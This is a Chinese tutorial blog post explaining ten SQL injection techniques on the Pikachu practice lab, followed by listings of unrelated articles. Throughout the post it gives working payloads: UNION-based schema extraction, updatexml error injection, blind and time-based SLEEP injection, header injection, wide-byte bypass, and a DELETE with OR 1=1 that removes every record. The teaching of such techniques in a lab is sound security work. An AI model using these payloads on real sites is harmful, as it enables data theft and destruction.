新手别慌！用Pikachu靶场从零理解SQL注入的10种花样（附详细Payload）

张

张建站

2026/6/2 8:40:30

10分钟阅读

新手别慌！用Pikachu靶场从零理解SQL注入的10种花样（附详细Payload）

从Pikachu靶场透视SQL注入新手必备的10种攻击模式全解析当你第一次打开Pikachu靶场的SQL注入模块看到那些令人眼花缭乱的分类——数字型、字符型、搜索型、盲注...是不是感觉无从下手作为Web安全领域的Hello WorldSQL注入既是入门必修课也是许多初学者遇到的第一个技术深坑。本文将带你系统梳理Pikachu靶场中的10种注入场景不仅告诉你怎么做更揭示每种攻击背后的闭合逻辑和构造原理让你真正掌握这门与数据库对话的艺术。1. 理解SQL注入的核心逻辑SQL注入的本质是通过用户输入改变原始SQL语句结构。想象一下网站后台的SQL查询原本像一列按固定轨道行驶的火车而我们的注入Payload就是扳动道岔的那只手。在Pikachu靶场中这种轨道切换表现为三种基本形式数据截断用单引号、双引号等闭合前段查询逻辑注入插入AND/OR等条件判断语句拼接通过UNION、子查询等扩展原语句-- 典型示例数字型注入的变形过程原查询SELECT * FROM users WHERE id1 注入后SELECT * FROM users WHERE id1 UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schemapikachu闭合方式决定了注入的成败。下表对比了常见注入类型的闭合特点注入类型常见闭合方式典型场景测试方法数字型无需闭合商品详情页直接追加AND 11字符型单引号登录框admin AND 11搜索型百分号单引号站内搜索% AND 11 AND %XX型括号单引号复杂查询接口) AND 11 AND (11HTTP头注入换行符或直接闭合User-Agent记录功能\r\nX-Forwarded-For: 1 OR 1提示在实际测试中建议先用单引号触发错误信息根据报错内容判断闭合方式。Pikachu靶场贴心地保留了详细错误回显这是现实环境中难得的学习福利。2. 显错注入实战从数字型到XX型显错注入是新手最好的老师Pikachu靶场前四种类型完美展示了不同场景下的注入变种。让我们解剖一个典型攻击链条2.1 数字型注入POST这是最单纯的注入类型无需考虑闭合问题。关键步骤确认注入点分别提交1 AND 11和1 AND 12观察页面差异探测字段数1 ORDER BY 4逐步增加数字直到报错定位回显位1 UNION SELECT 1,2,3查看哪些数字显示在页面提取信息-- 获取所有表名 1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase() -- 获取某表的列名 1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_nameusers2.2 字符型注入GET与数字型的最大区别是需要闭合单引号和注释后续语句。经典Payload结构原语句SELECT * FROM users WHERE username$input 注入 UNION SELECT 1,2,3-- 等效SELECT * FROM users WHERE username UNION SELECT 1,2,3-- 注意--后的空格在URL中要编码为%20或者直接用号替代。Pikachu靶场中也可以使用#作为注释符。2.3 搜索型注入这类注入常出现在模糊查询场景核心是识别LIKE语句的结构。通过Pikachu的报错信息可以逆向出原始查询原语句SELECT * FROM products WHERE name LIKE %$input% 注入% AND 11 AND % 等效SELECT * FROM products WHERE name LIKE %% AND 11 AND %%2.4 XX型注入这种少见但有趣的变种通常出现在复杂查询中需要闭合括号和引号。通过报错信息可以判断闭合方式原语句SELECT * FROM users WHERE (name$input) 注入) UNION SELECT 1,2,3-- 等效SELECT * FROM users WHERE (name) UNION SELECT 1,2,3-- )3. 数据操作注入Insert/Update/Delete的危险变奏当注入点出现在数据写入操作时攻击方式会发生有趣变化。Pikachu靶场提供了三种典型场景3.1 Insert注入用户注册注册功能背后的SQL可能是INSERT INTO users (username,password) VALUES ($user,$pass)攻击者可以通过精心构造用户名闭合语句用户名admin,),(,),(,),(,),(,))# 密码任意等效语句 INSERT INTO users (username,password) VALUES (admin,),(,),(,),(,),(,))# ,$pass)这将插入多条记录其中包含空密码的管理员账户。在Pikachu中更实用的方法是报错注入用户名 OR updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) OR 等效语句 INSERT INTO users (username,password) VALUES ( OR updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) OR ,$pass)3.2 Update注入资料修改与Insert类似但出现在资料更新功能UPDATE users SET email$email WHERE id$uid利用方式email OR updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables LIMIT 1)),1) OR 3.3 Delete注入留言删除最危险的注入类型之一可能直接导致数据丢失。Pikachu中的攻击模式原请求GET /delete.php?id123 攻击GET /delete.php?id123 OR 11这将删除所有符合条件的记录而非仅指定ID。防御此类注入除了参数化查询外还应实施权限校验确保用户只能删除自己的内容二次确认机制操作日志记录4. 高阶注入技术从盲注到宽字节当网站关闭错误回显时我们需要更精巧的攻击方式。Pikachu靶场提供了四种经典案例4.1 布尔盲注与数据库的是/否游戏布尔盲注就像在玩二十个问题通过页面返回的真假状态逐步推断信息。核心方法 AND (SELECT SUBSTRING(database(),1,1))p-- AND (SELECT COUNT(*) FROM users)10--Pikachu中的实用技巧先用 AND 11--和 AND 12--确认注入点通过LENGTH(database())7确定数据库名长度用ASCII码逐字符比对 AND (ASCII(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))100)--4.2 时间盲注让数据库沉睡的秘密当页面响应无任何差异时时间盲注成为最后手段。关键函数是SLEEP()和IF()的组合 AND IF(ASCII(SUBSTR(database(),1,1))112,SLEEP(5),1)--在Pikachu中可以通过开发者工具的Network面板观察响应时间。自动化测试时建议设置合理的超时阈值如3秒使用二分法加速猜解过程注意网络延迟对判断的影响4.3 HTTP头注入被忽视的攻击面Pikachu的HTTP头注入演示了User-Agent等头部也可能成为注入点。攻击模式User-Agent: OR updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) OR 其他易受攻击的头部包括X-Forwarded-ForRefererCookie特别是记录到数据库的情况4.4 宽字节注入编码引发的血案这种几乎绝迹的注入类型展示了字符编码如何成为安全隐患。当数据库使用GBK而应用使用UTF-8时原过滤 → \ 绕过%df → %df%5c → 運Pikachu中的Payload示例id%df OR 11--防御措施很简单统一使用UTF-8编码。这也是为什么现代框架中很少见到此类漏洞。

纳什均衡：博弈论中的“非合作”思想及其工程应用

纳什均衡：博弈论中的“非合作”思想及其工程应用本文约1.2万字，面向技术决策者、架构师与算法工程师。纳什均衡不仅是经济学理论的基石，也为分布式系统设计、多智能体协作、资源分配等工程问题提供了深刻的分析框架。引言：囚徒困境与纳什均衡的起源 1950年，普林斯顿大学…...

2026/6/2 8:40:20 阅读更多 →

社交媒体数据分析实战：从Twitter数据采集到网络传播模型构建

1. 从“推文”到“数据金矿”：一次社交媒体研究的深度实践如果你在2008年告诉我，一个只能发送140个字符的网站会成为全球社会科学家和数据工程师竞相挖掘的“数字田野”，我大概会觉得这想法有点疯狂。但事实是，Twitter&#xff08…...

2026/6/2 8:40:14 阅读更多 →

永磁同步电机驱动系统几类自适应控制策略优化【附仿真】

✨ 长期致力于永磁同步电机、模型参考自适应控制、无模型自适应控制、复合自适应控制研究工作，擅长数据搜集与处理、建模仿真、程序编写、仿真设计。 ✅ 专业定制毕设、代码 ✅ 如需沟通交流，点击《获取方式》 （1）计及铁耗与磁路饱…...

2026/6/2 8:39:57 阅读更多 →

掌握Markdown实时预览：打造高效写作工作流的3个关键策略

掌握Markdown实时预览：打造高效写作工作流的3个关键策略【免费下载链接】markn Lightweight markdown viewer. 项目地址: https://gitcode.com/gh_mirrors/ma/markn 在当今数字创作时代，Markdown已成为技术文档、博客文章和个人笔记的首选格式。…...

2026/6/2 7:26:22 阅读更多 →

Win10/Win11下Realtek 8188GU网卡驱动感叹号？别急着扔，试试这个手动安装的野路子

Realtek 8188GU网卡驱动故障深度修复指南：从原理到实战当设备管理器里那个顽固的黄色感叹号挥之不去，而你已经尝试了所有"标准操作"——Windows自动更新、第三方驱动工具、甚至重启大法——却依然无济于事时，是时候换个思路了。这篇…...

2026/6/2 0:45:14 阅读更多 →

前轮驱动自行车机器人建模与自适应控制策略优化【附代码】

✨ 长期致力于自行车机器人、前轮驱动、Lagrange方程、自适应模糊控制、RBF网络自适应控制研究工作，擅长数据搜集与处理、建模仿真、程序编写、仿真设计。 ✅ 专业定制毕设、代码 ✅ 如需沟通交流，点击《获取方式》 （1）基于瞬时转…...

2026/6/1 20:29:35 阅读更多 →

ModTheSpire终极指南：5分钟安全安装《杀戮尖塔》模组管理器

ModTheSpire终极指南：5分钟安全安装《杀戮尖塔》模组管理器【免费下载链接】ModTheSpire External mod loader for Slay The Spire 项目地址: https://gitcode.com/gh_mirrors/mo/ModTheSpire 还在为《杀戮尖塔》模组安装的复杂流程而头疼吗？Mod…...

2026/6/2 6:08:03 阅读更多 →